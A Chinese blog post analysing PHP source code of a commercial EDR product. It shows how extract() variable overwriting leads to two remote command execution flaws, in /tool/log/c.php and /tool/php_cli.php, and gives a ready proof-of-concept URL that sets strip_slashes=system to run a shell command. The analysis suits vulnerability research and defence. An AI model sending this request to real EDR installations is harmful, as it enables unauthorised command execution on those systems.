• 某信服EDR源码分析


    基于EDR源码的一次分析

    变量覆盖漏洞

    常见的引发变量覆盖的漏洞函数有:extract(),parse_str(),import_request_variables(),$$。

    extract()

    extract()函数从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    语法:

    extract(array,extract_rules,prefix)

    实例:

     

    源码分析

    1 function ldb_input_field($info) {
    2     extract($info);
    3     $value = htmlentities($value);
    4     echo "<font size=2>$title: </font>
    5         <input type="text" size=100 id="$name" name="$name" value="$value">
    6         <font size=2>$note</font><br>";
    7 } 

    Extract()函数的第二个参数为空,默认情况下会对$info变量进行覆盖

    RCE漏洞(1)

    https://xxx.com:xxx/tool/log/c.php?strip_slashes=system&host=id

     找到/tool/log/c.php,定位到代码

     

    1 $show_form($_REQUEST);
    2 echo "<pre>";
    3 $main($_REQUEST);
    4 echo "</pre>";

    将$_REQUEST传递进$show_form匿名函数

     1    $show_form = function($params) use(&$strip_slashes, &$show_input) {
     2         extract($params);
     3         $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
     4         $path  = isset($path)  ? $strip_slashes($path)  : "";
     5         $row   = isset($row)   ? $strip_slashes($row)   : "";
     6         $limit = isset($limit) ? $strip_slashes($limit) : 1000;
     7         
     8         // 绘制表单
     9         echo "<pre>";
    10         echo '<form id="studio" name="studio" method="post" action="">';
    11         $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
    12         $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
    13         $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. [w|e]"));
    14         $show_input(array("title" => "Limit",  "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
    15         echo '<input type="submit" id="button">';
    16         echo '</form>';
    17         echo "</pre>";
    18     };

    在这里传入的参数的值为strip_slashes=system ,host=id

    经过extract()函数后

    1 extract($params);

    赋值了两个新变量为:

    $strip_slashes = ‘system’;

    $host= ’id’

    然后运行到下面的三元运算这段代码时,产生漏洞

    1 $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";

    当isset($host)为TRUE时,$host = $strip_slashes($host)

    实际上赋值内容为$host = system(id)的返回结果。

    这也就造成了可以直接执行命令

    RCE漏洞(2)

    在/tool/php_cli.php,也存在相同的变量覆盖问题

    1 $show_form($_REQUEST);
    2 echo "<pre>";
    3 $main($_REQUEST);
    4 echo "</pre>";

    在传入的参数($show_text)中 $code 的值是用户可以控制的

    $show_form = function($params) use(&$strip_slashes, &$show_text) {
            extract($params);
            $code = isset($code)  ? $strip_slashes($code)  : "";
            
            // ??????
            echo "<pre>";
            echo '<form id="studio" name="studio" method="post" action="">';
            $show_text(array("title" => "Code",  "name" => "code",  "value" => $code,  "note" => " - php code"));
            echo '<input type="submit" id="button">';
            echo '</form>';
            echo "</pre>";
        };

    经过extract()函数的覆盖,$code  =  $strip_slashes($code)

    最后使用eval()执行

    1 $main = function($argv) {
    2         extract($argv);
    3         if (!isset($code)) {
    4             return;
    5         }
    6         eval($code);
    7     };
  • 相关阅读:
    String.Format使用方法
    在gfs2中关闭selinux
    开发板怎样开启telnet服务
    Google App Engine 学习和实践
    Ewebeditor最新漏洞及漏洞大全
    为HttpStatusCodeResult加入customErrors
    【android】下载文件至本应用程序的file文件夹或者sdcard
    java entry
    关闭对话框,OnClose和OnCancel
    主成分分析(PCA)
  • 原文地址:https://www.cnblogs.com/Excellent-person/p/13550091.html
Copyright © 2020-2023  润新知